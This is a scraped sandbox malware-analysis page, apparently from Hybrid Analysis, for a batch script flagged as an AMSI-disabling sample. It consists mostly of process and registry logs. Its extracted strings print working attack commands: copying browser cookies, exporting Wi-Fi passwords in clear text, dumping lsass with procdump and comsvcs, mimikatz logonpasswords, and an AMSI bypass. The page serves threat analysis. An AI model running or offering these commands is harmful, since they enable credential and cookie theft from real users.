24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 32:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T493,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious AMSI.Disable.A.Generic Sample b62912c1a80c… — Score 83/100 — Hybrid Analysis","description":"Malicious verdict for sample b62912c1a80c…. Malware family: AMSI.Disable.A.Generic. Threat score 83/100. 3/23 AV engines flagged this file. 5 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65","keywords":["Malicious","AMSI.Disable.A.Generic","malware analysis","sandbox report","threat intelligence","b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65"],"about":{"@type":"SoftwareApplication","name":"1.bat","applicationCategory":["script","bat"],"identifier":"b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65","additionalType":"Malicious sample"},"threatScore":83,"malwareFamily":"AMSI.Disable.A.Generic","antivirusDetections":{"malicious":3,"total":23},"behavioralIndicators":{"malicious":5,"suspicious":7},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4e4,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000788) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000788)26:T461,Observed string: "@echo offtaskkill dbgtaskkill vmwaretaskkill virtualboxtaskkill hypervisortaskkill qemutaskkill kvmtaskkill wsl.exesetlocaltaskkill /F /IM chrome.exe >nul 23&1set "ChromeDir=%LOCALAPPDATA%\Google\Chrome\User Data\Default"set "DestDir=%USERPROFILE%\ChromeBackup"mkdir "%DestDir%" 2>nulcopy "%ChromeDir%\Network\Cookies" "%DestDir%\" /Y >nul 2>nulxcopy "%ChromeDir%\Cache" "%DestDir%\Cache" /E /I /Q /Y >nul 2>nulecho Done! Files are saved in: %DestDir%pause@echo offsetlocaltaskkill /F /IM msedge.exe >nul 2>nulset "EdgeDir=%LOCALAPPDATA%\Microsoft\Edge\User Data\Default"set "DestDir=%USERPROFILE%\EdgeBackup"mkdir "%DestDir%" 2>nulecho Copying Microsoft Edge cookies and cache...copy "%EdgeDir%\Network\Cookies" "%DestDir%\" /Y >nul 2>nulxcopy "%EdgeDir%\Cache" "%DestDir%\Cache" /E /I /Q /Y >nul 2>nulecho Done! Files are saved in: %DestDir%pausepowershell "Get-NetAdapter -Physical"whoami > "userinf.txt"ipconfig >> "userinf.txt"netsh wlan export profile folder=C:\WiFi key=cl" (Indicator: ""whoami") in Source: 1.bat Observed string: "whoami > "userinf.txt"" (Indicator: "whoami ") in Source: 1.bat27:T456,Observed system executable string:"earnetsh wlan show profile | Select-String '(?<= All User Profile\s+:\s).+' | ForEach-Object { $wlan = $_.Matches.Value $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\s+:\\s).+' [pscustomobject]@{ "Wi-Fi SSID" = $wlan "Password" = $passw.Matches.Value }}procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)user=whoamimsg %user% "Your dad left for the milk help him call +1-800-FREE-MILK" vaultcmd /listvaultcmd /listproperties:"Windows Credentials"cmdkey /listpid=tasklist | findstr lssas.exerundll32.exe C:\windows\system32\comsvcs.dll, MiniDump pid C:\Windows\Temp\lsass.dmp fullmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" rpcdump.exe -v 127.0.0.1PetitPotam.exe 127.0.0.1 127.0.0.1rpcinfo -p 127.0.0.1" [Source: 1.bat] Observed system executable string:"rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump pid C:\Windows\Temp\lsass.dmp full" [Source: 1.bat]28:T940,Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006392) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00000588) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00000904) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00000996) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007656) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001392) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002572) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00001648) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003996) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00001932) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00004340) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00002700) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005836) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002320) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003712) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00002544) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003084) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003188) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001944) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00004944)29:T940,Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006392) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00000588) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00000904) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00000996) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007656) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001392) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002572) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00001648) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003996) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00001932) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00004340) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00002700) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005836) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002320) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003712) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00002544) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003084) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003188) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001944) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00004944)2a:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")2b:T545,"cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 788) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 6392) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 588) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 904) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 996) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 7656) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 1392) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 2572) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 7072) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 1648) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 3996) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 1932) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 4340)2c:Tae5,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "ENABLEEXTENSIONS"; Value: "")2d:Tb1b,Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill dbg" (UID: 00000000-00006392) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill vmware" (UID: 00000000-00000588) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill virtualbox" (UID: 00000000-00000904) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill hypervisor" (UID: 00000000-00000996) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill qemu" (UID: 00000000-00007656) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill kvm" (UID: 00000000-00001392) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill wsl.exe" (UID: 00000000-00002572) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill dbg" (UID: 00000000-00001648) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill vmware" (UID: 00000000-00003996) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill virtualbox" (UID: 00000000-00001932) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill hypervisor" (UID: 00000000-00004340) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill qemu" (UID: 00000000-00002700) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill kvm" (UID: 00000000-00005836) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill dbg" (UID: 00000000-00002320) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill vmware" (UID: 00000000-00003712) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill virtualbox" (UID: 00000000-00002544) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill hypervisor" (UID: 00000000-00003084) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill qemu" (UID: 00000000-00003188) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill kvm" (UID: 00000000-00001944) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Process "%WINDIR%\system32\taskkill.exe" launched with commandline "taskkill dbg" (UID: 00000000-00004944)2e:T432,Found string "earnetsh wlan show profile | Select-String '(?<= All User Profile\s+:\s).+' | ForEach-Object { $wlan = $_.Matches.Value $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<= Key Content\s+:\\s).+' [pscustomobject]@{ "Wi-Fi SSID" = $wlan "Password" = $passw.Matches.Value }}procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)user=whoamimsg %user% "Your dad left for the milk help him call +1-800-FREE-MILK" vaultcmd /listvaultcmd /listproperties:"Windows Credentials"cmdkey /listpid=tasklist | findstr lssas.exerundll32.exe C:\windows\system32\comsvcs.dll, MiniDump pid C:\Windows\Temp\lsass.dmp fullmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" rpcdump.exe -v 127.0.0.1PetitPotam.exe 127.0.0.1 127.0.0.1rpcinfo -p 127.0.0.1" (Indicator: " lsass"; File: "1.bat") Found string "procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp" (Indicator: " lsass"; File: "1.bat")2f:T1104,Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00001648) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003996) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00001932) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00004340) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00002700) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005836) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002320) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003712) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00002544) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003084) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003188) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001944) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00004944) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00006496) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00003604) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003540) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003216) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005704) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003784) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007172) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00005256) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005772) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005608) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00005472) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00005800) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00006684) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00006660) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00006100) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006048) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005872) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005876) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00006536) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007132) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00008020) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003008) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00004808) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002964) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00004252) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00003316) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00007880) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00006792) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00008008) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00007800) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00005892) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00005340)30:T10f5,Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006392) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00000588) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00000904) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00000996) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007656) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001392) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002572) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00001648) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003996) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00001932) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00004340) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00002700) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005836) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002320) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003712) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00002544) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003084) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003188) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001944) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00004944) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00006496) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00003604) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003540) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003216) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005704) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003784) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007172) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00005256) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005772) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005608) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00005472) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00005800) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00006684) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00006660) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00006100) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006048) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005872) Process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005876) Process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00006536) Process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007132) Process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00008020) Process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003008) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00004808) Process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002964) Process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00004252)31:T13fb,Spawned process "cmd.exe" with commandline "/c ""C:\\1.bat" "" (UID: 00000000-00000788) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006392) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00000588) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00000904) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00000996) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007656) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001392) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002572) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007072) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00001648) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003996) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00001932) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00004340) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00002700) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005836) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00002072) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00002244) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002320) 